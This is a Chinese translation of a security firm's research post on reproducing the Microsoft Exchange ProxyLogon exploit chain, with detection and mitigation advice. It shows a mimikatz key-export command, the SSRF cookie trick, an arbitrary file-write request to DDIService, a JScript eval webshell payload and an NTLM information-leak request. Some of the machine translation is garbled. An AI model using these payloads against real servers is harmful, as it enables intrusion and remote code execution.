复现微软Exchange Proxylogon漏洞

  • 复现微软Exchange Proxylogon漏洞已关闭评论
  • 82 views
  • A+

原文信息

原文地址:https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
by Anthony Weems and Dallas Kaman and Michael Weber on March 9, 2021

简介

最近几周,微软检测到多个0day漏洞被用于攻击微软Exchange Server的预置版本,在全球范围内无处不在。ProxyLogon是CVE-2021-26855的名称,CVE-2021-26855是Microsoft Exchange Server上的一个漏洞,允许攻击者绕过身份验证并冒充用户。在观察到的攻击中,威胁行为者利用这个漏洞访问企业内部的Exchange服务器,从而实现对电子邮件账户的访问,并安装额外的恶意软件以方便长期访问受害者环境。

Praetorian Labs团队已经对最初的安全警告和随后的补丁进行了逆向工程,并成功开发了一个功能完备的端到端漏洞。本篇文章概述了这样做的方法,但特意决定省略关键的概念验证组件,以防止非复杂的行为者将该漏洞武器化。虽然我们选择不发布完整的漏洞,但我们知道安全社区很快就会发布完整的漏洞。一旦剩下的步骤被公开,我们将更公开地讨论我们的端到端解决方案。我们相信,这中间的几个小时/天将为我们的客户、公司和国家提供更多的时间来修补这个关键漏洞。

微软已经迅速开发并发布了脚本、指标和应急补丁,以帮助缓解这些漏洞。微软安全响应中心已经在这里发布了一篇博客文章,详细介绍了这些缓解措施。值得注意的是,URL重写模块成功地防止了利用,而不需要紧急补丁,并且应该证明是Proxylogon的有效快速对策。然而,正如在其他地方所讨论的那样,Proxylogon的利用已经如此广泛,以至于面向外部的Exchange服务器的操作员必须求助于事件响应和排查。

方法

对于逆向工程,我们实施了以下步骤,以便对Exchange及其安全修补程序执行静态和动态分析:
Diff:审查易受攻击的版本和打过补丁的版本之间的差异。
测试:部署脆弱版本的完整测试环境。
观察:仪器部署,了解典型的网络通信情况。
调查:对每个CVE进行迭代,将补丁差异与网络流量联系起来,并制造概念验证的漏洞。

Diff

通过检查打补丁前的二进制文件和打补丁程序后的二进制文件之间的差异(差异),我们能够准确地识别所做的更改。然后对这些变化进行逆向工程,以协助重现原始错误。

微软的更新目录在抓取补丁进行差异化处理时很有帮助。快速搜索相关的软件版本,就会返回一个安全补丁滚动列表,我们用这个列表来对比最新的安全补丁和它的前身。例如,通过搜索 “Security Update For Exchange Server 2013 CU23”,我们确定了特定版本的Exchange的补丁。这里选择 Exchange 2013,是因为它是易受 CVE-2021-26855 影响的 Exchange 版本的最小补丁集,因此最容易比较。

image.png
Microsoft Update Catalog将按日期进行排序,因此所需的文件是前两个条目


首先,我们下载了最新的(2021年3月2日)和之前的(2021年12月2日)安全更新汇总。通过从.cab文件中解压.msp文件,并使用7zip解压.msp文件,我们剩下两个包含二进制文件的文件夹进行比较。

image.png
.msp更新包含了几百个二进制文件--其中大部分是.NET应用程序。


由于大多数二进制文件是.NET应用程序,我们使用dnSpy将每个二进制文件反编译成一系列源文件。为了加快分析速度,我们自动反编译,并利用源码控制的比较功能,将每个版本上传到GitHub仓库,作为单独的提交进行比较。

image.png
GitHub上的差异可以帮助了解有哪些重要变化


我们发现另一个有用的差异选项是Telerik’s JustAssembly.。对于观察实际的文件差异来说,它的速度有点慢,但对于立即识别哪里的代码被添加或删除很有帮助。

image.png
JustAssembly简洁地显示了整个dll的变化。


准备工作完成后,我们需要启动一个目标Exchange服务器来进行测试。

测试

首先,我们使用微软的ADDSDeployment模块设置了一个标准域控制器。然后,我们下载相关的Exchange安装程序(如:https://www.microsoft.com/en-us/download/details.aspx?id=58392 for Exchange 2013 CU23),并执行标准的安装过程。
对于基于Azure的交换环境,我们遵循这里概述的步骤,用上面链接中找到的正确的交换安装程序替换“安装交换”第8步中下载的安装程序。此外,我们修改了服务器配置脚本中的PowerShell片段,以启动2012-R2数据中心服务器,而不是2019服务器版本。
language
$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer \`WindowsServer -Skus 2012-R2-Datacenter -Version "latest"

这允许快速部署独立的域控制器和Exchange服务器,并设置网络安全组以防止不必要的基于Internet的攻击尝试。

观测

Microsoft Exchange由多个后端组件组成,这些组件在服务器的正常运行过程中会相互通信。从用户的角度来看,对前台Exchange服务器的请求会通过IIS流向Exchange HTTP代理,该代理会评估邮箱路由逻辑并将请求转发到相应的后端服务器。如下图所示:

image.png
Microsoft Exchange 2016客户端访问协议体系结构图(https://docs.microsoft.com/zh-cn/exchange/architecture/architecture#client-access-protocol-architecture)


我们有兴趣观察从HTTP代理发送到Exchange后端的所有流量,因为这应该包括许多来自真实服务的示例请求,以帮助我们更好地了解源代码和来自我们的利用中的请求。Exchange部署在IIS上,所以我们对Exchange后端绑定进行了简单的更改,将端口从444更新为4444。接下来,我们在444端口上部署了一个代理,将数据包转发到新的绑定地址。

image.png
Exchange HTTP代理会验证Exchange后端的TLS证书,所以为了让我们的代理有用,我们想从测试机的本地证书存储中转储 "Microsoft Exchange "证书。由于这个证书的私钥在Exchange安装过程中被标记为不可导出,所以我们使用mimikatz提取key和证书:
language
mimikatz# privilege::debugmimikatz# crypto::certificates /export /systemstore:LOCAL\_MACHINE

image.png
使用mimikatz从我们的测试机器中提取Exchange证书和key。


有了证书和密钥,我们使用类似于socat的工具,这是一个多用途的网络中继工具,使用Exchange证书监听444端口,并将连接中继到4444端口(实际的Exchange后端)。socat命令可能是这样的:
language
\# export the certificate and private key (password mimikatz)openssl pkcs12 -in 'CERT\_SYSTEM\_STORE\_LOCAL\_MACHINE\_My\_1\_Microsoft Exchange.pfx' -nokeys -out exchange.pemopenssl pkcs12 -in 'CERT\_SYSTEM\_STORE\_LOCAL\_MACHINE\_My\_1\_Microsoft Exchange.pfx' -nocerts -out exchange.pem\# launch socat, listening on port 444, forwarding to port 4444socat -x -v openssl-listen:4444,cert=exchange.pem,key=exchange-key.pem,verify=0,reuseaddr,fork openssl-connect:127.0.0.1:444,verify=0

配置好代理后,我们开始像正常使用Exchange生成HTTP请求,并了解这些内部连接的更多信息。此外,几个后端服务器进程向444端口发送请求,使我们能够观察定期的健康检查、Powershell远程请求等。

深入研究

虽然每个CVE都不同,但我们对特定CVE进行分类的一般方法由五个阶段组成:
- 审查指标
- 审查补丁差异
- 将指示器连接到差速器上
- 将这些代码路径与代理流量连接起来。
- 制作请求以触发这些代码路径。
- 重复
Warming up with ### CVE-2021-26857
CVE-2021-26857是统一消息服务中的一个不安全的反序列化漏洞。不安全的反序列化是指不受信任的用户可控数据被程序反序列化。利用这个漏洞,HAFNIUM就可以在Exchange服务器上以SYSTEM的方式运行代码。" - 通过微软发布的关于HAFNIUM漏洞的公告
尽管最终不需要在Exchange服务器上执行远程代码执行此特定漏洞,但它提供了一个简单的示例,说明了差异补丁程序如何揭示错误的详细信息。 上面的咨询还明确地将Unified Messaging service确定为潜在目标,这极大地帮助了缩小初始搜索空间。
Exchange二进制包的命名相当清晰--代理功能住在Microsoft.Exchange.HttpProxy.中,日志上传住在Microsoft.Exchange.LogUploader中,统一消息代码住在Microsoft.Exchange.UM.中。当差异文件时,我们并不总是在文件名中有明确的指示,但在我们的调查过程中,没有理由不使用它。

image.png
这些dll的JustAssembly差异非常清楚地表明了根本原因


这里的diffed类显示,一个'Base64Deserialize'函数已经被删除,并且增加了一个'contactInfoDeserializationAllowList'属性。.NET一直在努力解决反序列化问题,所以看到这类变化,强烈建议删除易受攻击的代码,并增加对.NET反序列化利用的保护。对Base64Deserialize的检查证实了这一点:

image.png
移除的函数将base64字符串的输出传递给BinaryFormatter的Deserialize。


在打补丁之前,这个不安全的方法是从 Microsoft.Exchange.UM.UMCore.PipelineContext.FromHeaderFile 中调用的,正如我们通过检查 diff 所观察到的那样。

image.png
序列化的PipelineContext的ContactInfo属性可用于触发漏洞


这个函数的更新版本包含了更多的代码,以便在反序列化之前正确验证类型。
本质上,这个补丁删除了容易受.NET反序列化攻击能,而这种攻击可以使用ysoserial.net等工具进行利用。虽然这里的攻击路径相当简单,但统一消息并不总是在服务器上启用,因此我们的概念验证利用依赖于下文讨论的CVE-2021-27065。
服务器端请求伪造(CVE-2021-26855)
由于所有的远程代码执行漏洞都需要认证绕过,我们将注意力转向了服务器端请求伪造(SSRF)。微软发布了以下Powershell命令来搜索与该漏洞相关的指标
language
Microsoft published the following Powershell command to search for indicators related to this vulnerability:

此外,Volexity还公布了以下与SSRF利用有关的URL:
``language
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>利用这些指标,我们在补丁 diff 中搜索相关术语(包括 host、hostname、fqdn 等字符串),发现了
Microsoft.Exchange.FrontEndHttpProxy.HttpProxy命名空间的有趣变化。这让我们也发现了BEResourceRequestHandler使用的BackEndServer`类中的相关差异。

image.png
与ServerInfo / authentication / host / fqdn相关的补丁差异。


image.png
BEResourceRequestHandler使用的BackEndServer类的补丁差异。


接下来,我们追踪对BEResourceRequestHandler的调用,从ProxyModule中的SelectHandlerForUnauthenticatedRequest方法中找到了这个相关路径。

image.png
简化代码,显示打BEResourceRequestHandler的路径。


最后,我们评估了BEResourceRequestHandler的CanHandle方法,发现它需要一个带有ECP "协议 "的URL(例如/ecp/),一个X-BEResource cookie,以及一个以静态文件类型扩展名(例如js、css、flt等)结束的URL。由于这段代码是在HttpProxy中实现的,所以URL不需要有效,这就解释了为什么有些指标只是使用/ecp/y.js,一个不存在的文件。
X-BEResource cookie在BackEndServer.FromString中被解析,它有效地分割了"~"上的字符串,并将第一个元素分配给后台的 "fqdn",并将第二个元素解析为一个整数版本。

然后我们追踪这个BackEndServer对象的用法,发现它在ProxyRequestHandler中被用来决定将代理请求发送到哪个Host。URI是在GetTargetBackEndServerUrl中通过UriBuilder构造的,UriBuilder是一个本地的.NET类。

image.png
显示ProxyRequestHandler相关方法的最小化代码。
在这一点上,我们理论上可以通过设置特定的头并将请求发送到/ecp中的 "static "文件来控制用于这些后端连接的Host。然而,仅仅控制Host是不足以调用Exchange后端的任意端点的。为此,我们从.NET源码本身内部查看UriBuilder是如何实现的。

image.png
来自UriBuilder参考源码的ToString方法。


如上面的片段所示,UriBuilder的ToString方法(用于构造URI)对我们的输入进行简单的字符串连接。因此,如果我们将Host设置为 "example.org/api/endpoint/#",我们就有效地获得了对目标URL的完全控制。
有了这些信息,我们就足以用下面的HTTP请求来演示SSRF了......。

image.png
由于 Kerberos 主机不匹配,对 example.org 的 SSRF 尝试失败。


唉!我们的SSRF尝试 "失败 "了。我们的 SSRF 尝试 "失败了",原因是与 example.org 通信时出现了 NegotiateSecurityContext 错误。事实证明,这个错误是我们理解SSRF的关键,因为它证明了HTTP Proxy试图通过Kerberos对后端服务器进行身份验证的事实。通过将主机名设置为Exchange服务器的机器名,Kerberos认证成功,我们可以以NT AUTHORITY\SYTEM的身份访问端点。有了这些信息,我们就足以用下面的HTTP请求来演示SSRF了......

image.png
由于后台认证检查,SSRF尝试失败。


唉!又来了!后台服务器出于某种原因拒绝了我们的请求。追踪这个错误,我们最终发现了EcpProxyRequestHandler.AddDownLevelProxyHeaders方法,只有在GetTargetBackEndServerUrl方法中ProxyToDownLevel被设置为true时,才会调用这个方法。该方法检查用户是否通过了认证,如果没有通过,则返回HTTP 401错误。
值得庆幸的是,我们可以通过修改Cookie中的服务器版本来防止GetTargetBackEndServerUrl设置这个值。如果版本大于Server.E15MinVersion,ProxyToDownLevel仍然为false。有了这个变化,我们成功地验证了一个后端服务(自动发现服务)。

image.png
成功的SSRF到自动发现端点。


在审查上述代码路径时,我们发现OWA代理处理程序中多了一个SSRF。这些请求是在没有经过 Kerberos 认证的情况下发送的,因此可能会被针对到任意服务器,如下图所示:

image.png
通过X-AnonResource cookie对example.org的SSRF尝试成功。


在这一点上,我们有足够的信息来伪造对一些后端服务的请求。我们不会发布关于如何正确认证到更敏感的服务(如/ecp)的信息,因为这些信息不是公开的。
任意文件写入(CVE-2021-27065)
有了SSRF之后,我们将注意力转向了远程代码执行。在我们开始打补丁diffing之前,我们关于这个漏洞的第一条线索来自微软和Volexity发布的指标。也就是这个Powershell命令,用来搜索ECP日志中的危害指标:
language
Select-String -Path "$env:PROGRAMFILES\\Microsoft\\ExchangeServer\\V15\\Logging\\ECP\\Server\\\*.log" \`\-Pattern 'Set-.+VirtualDirectory'

此外,Volexity博客文章将对/ecp/DDI/DDIService.svc/SetObject的请求描述为与开发有关。有了这两个事实,我们在 diff 中搜索与 ECP 或 DDI 类中的文件 I/O 相关的任何内容,很快就得到了 Microsoft.DDI 中 WriteFileActivity 类的结果。这很快就得到了Microsoft.Exchange.Management.ControlPanel.DIService中的WriteFileActivity类的结果。其中 "control panel "是ECP面向用户的名称,而DDIService则直接在指标URL中。如下面的diff所示,旧功能直接将一个用户控制名的文件写入磁盘。在新功能中,如果还没有出现,代码会附加一个".txt "的文件扩展名。由于知道一般的利用涉及到向服务器写入ASPX webshell,WriteFileActivity似乎是一个主要的利用对象。

image.png
WriteFileActivity.cs的补丁差异。


如果我们搜索Exchange安装目录中的WriteFileActivity,我们会看到在Exchange Server中的几个XAML文件中使用了它/V15/ClientAccess/ecp\DDI。

image.png
来自ResetOABVirtualDirectory.xaml的代码片段。


在检查了 XAML 文件并审查了 Exchange Web UI 中的 ECP 功能后,我们确定上述 SetObjectWorkflow 描述了一系列要在服务器端执行的步骤(包括 Powershell cmdlet 执行),以执行特定的操作。

image.png
ECP用户界面显示ResetVirtualDirectory的配置选项。


通过提交一个示例ResetVirtualDirectory请求,我们观察到Exchange服务器将VirtualDirectory的漂亮打印配置写到指定的路径上,删除VirtualDirectory,然后重新创建它。这个配置文件包含了目录中的几个属性,可以写到系统中任意扩展的任何目录中。请求和结果文件的截图如下所示:
示例 HTTP 请求 DDIService 重置 OAB VirtualDirectory:
```language
POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
"identity": {
"__type": "Identity:ECP",
"DisplayName": "OAB (Default Web Site)",
"RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
},
"properties": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": "C:\VirtualDirectory.aspx"
}
}
}

```

image.png
DDIService导出的文件,显示虚拟目录的所有属性。


image.png
ECP网页用户界面显示虚拟目录的可编辑参数。


编辑虚拟目录的用户界面中公开了以下参数。值得注意的是,内部网址和外部网址是在用户界面中公开的,在XAML中被描述为参数,并以我们的任意路径写入文件。这些因素的结合使得攻击者能够控制输入到达任意路径,这是启用webshell的必要基础。 经过一些实验后,我们确定内部/外部网址字段已被服务器部分验证。也就是说,服务器验证了URI方案、主机名,并规定最大长度为256字节。此外,服务器对有效负载中的任何百分比符号进行“百分比编码”(例如,“%”变成“%25”)。因此,像< % code % >这样的经典ASPX代码块被转换为< %25 code %25 >这是无效的。但是,其他元字符(例如<和>)没有编码,因此允许注入如下网址:
language
http://o/#< script language="JScript" runat="server">function Page\_Load(){eval(Request\["mlwqloai"\],"unsafe");}</script>

重置VirtualDirectory后,这个URL被嵌入到导出中,并保存到我们选择的路径中,授予Exchange服务器上的远程代码执行。

image.png
使用webshell在受损的Exchange服务器上执行命令。


这个初始请求必须是未经认证的,并且很可能是利用RPC over HTTP,它本质上是通过端点暴露NTLM认证。RPC over HTTP本身是一个相当复杂的协议,它通过微软的开放规范倡议进行了详尽的说明。
作为攻击者,我们对解析发送NTLM Negotiation消息后返回的NTLM Challenge消息感兴趣。这个挑战消息包含了一些AV_PAIR结构,其中包含了我们感兴趣的信息--特别是MsvAvDnsComputerName(后台服务器名称)和MsvAvDnsTreeName(域名)。
Impacket的http.py已经包含了执行这种协商的代码,以生成一个协商消息,然后将挑战响应解析为AV_PAIR结构。请求和响应最后的样子是这样的。
language
RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1
Host: frontend.exchange.contoso.com
User-Agent: MSRPC
Accept: application/rpc
Accept-Encoding: gzip, deflate
Authorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=
Content-Length: 0
Connection: close

language
HTTP/1.1 401 Unauthorized
Server: Microsoft-IIS/8.5
request-id: 72dce261-682e-4204-a15a-8055c0fd93d9
Set-Cookie: ClientId=IRIFSCHPJ0YLFULO9MA; expires=Tue, 08-Mar-2022 22:48:47 GMT; path=/; HttpOnly
WWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAFAomiVN9+140SRjMAAAAAAAAAAJ4AngBAAAAABgOAJQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEACABlAHgAVgBNAAQAIABjAG8AcgBwAC4AYwBvAG4AdABvAHMAbwAuAGMAbwBtAAMAKgBlAHgAVgBNAC4AYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAFACAAYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAHAAgA8EkBM20U1wEAAAAA
WWW-Authenticate: Negotiate
WWW-Authenticate: Basic realm="frontend.exchange.contoso.com"
X-Powered-By: ASP.NET
X-FEServer: frontend
Date: Mon, 08 Mar 2021 22:48:47 GMT
Connection: close
Content-Length: 0

base64编码的哈希可以使用Impacket来解析,以显示泄露的域名信息。

image.png
嵌入在WWW-Authenticate NTLM Challenge中的域名信息被泄露。


恢复的AV_PAIR数据被编码为Windows Unicode,并将特定的AV_ID映射到一个值。AV_IDs是映射到特定内容的常量,例如,我们想获取3(后端主机名)和5(域)的字符串。

image.png
AV_PAIR结构与计算数据中数字的映射


这里发布的信息解析出后台值是ex.corp.contoso.com,域名是corp.contoso.com。这些都是滥用前面讨论的SSRF漏洞所需要的值。
家庭作业
正如其他地方所描述的那样,我们省略了某些利用细节,以防止容易被利用。漏洞利用的机制是如何以任意用户身份认证ECP端点的,留给读者去研究。一旦有足够的时间,我们将在后续的博客文章中公布更多细节。

检测

微软的威胁英特尔中心(MSTIC)已经提供了出色的indicatorsdetection scripts,任何拥有内部交换服务器的人都应该使用。为了确定是否存在折衷方案,我们建议社会团体、中小企业社会团体和多边发展机构采取以下步骤:
1. 确保所有端点保护产品都已更新并正常运行。虽然利用本身可能还没有大量的IoCs发布到检测引擎,但利用现代工具可以很容易地检测到利用后的活动。
2. 在所有Exchange服务器上运行上面链接的微软github的 "TestProxyLogon.ps1 "脚本。根据我们的经验,该脚本应该可以检测到任何被利用系统的证据。
3. 仔细检查相关服务器的配置,计划任务、自动运行等,都是攻击者在获得初始访问后可能隐藏的地方。确保Exchange服务器启用审计进程创建审计策略和PowerShell日志,并检查是否有可疑的命令和脚本。应尽快核实、报告和补救差异。
随着我们对这些漏洞的继续探索,我们打算发布更多关于在您的环境中检测该漏洞的任何证据的材料。

实施漏洞利用

Sean MetcalfTrimarc Security 的前期工作详细介绍了内部安装的交换设备通常具有的高级权限。当以这种方式配置时,控制交换服务器的攻击者可以很容易地利用这种访问权限进行域范围的攻击,从而滥用ACL。受影响的环境可以通过检查应用于根域对象的ACL,并观察易受攻击的Exchange资源是否属于这些组,来确定是否应该怀疑站点范围的危害。我们已经修改了Trimarc文章中的PowerShell片段,以更具体地过滤交换窗口权限和交换可信子系统组。如果您的环境已将交换资源添加到自定义组或这些组之外的组中,您将需要相应地调整脚本。
language
import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties \* | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($\_.IdentityReference -like "\*Exchange Windows Permissions\*") -or ($\_.IdentityReference -like "\*Exchange Trusted Subsystem\*")} | Where-Object {($\_.ActiveDirectoryRights -like "\*GenericAll\*") -or ($\_.ActiveDirectoryRights -like "\*WriteDacl\*")}

鸣谢

这个漏洞的复现并不是凭空发生的——我们的开发过程依赖于原始研究人员、事故响应人员和其他安全研究人员发表的著作,他们也在努力复制这些漏洞。我们的感谢和赞赏来自:
* DEVCORE-Who found the original bug
* Volexity-Who identified the bug in the wild
* @80vul-The first user seen to reproduce the exploit chain
* Rich Warren (@buffaloverflow)-Who we actively worked with while investigating
* Crowdstrike-Who published additional information about active exploitation in the wild
* Microsoft-Who quickly published indicators and patches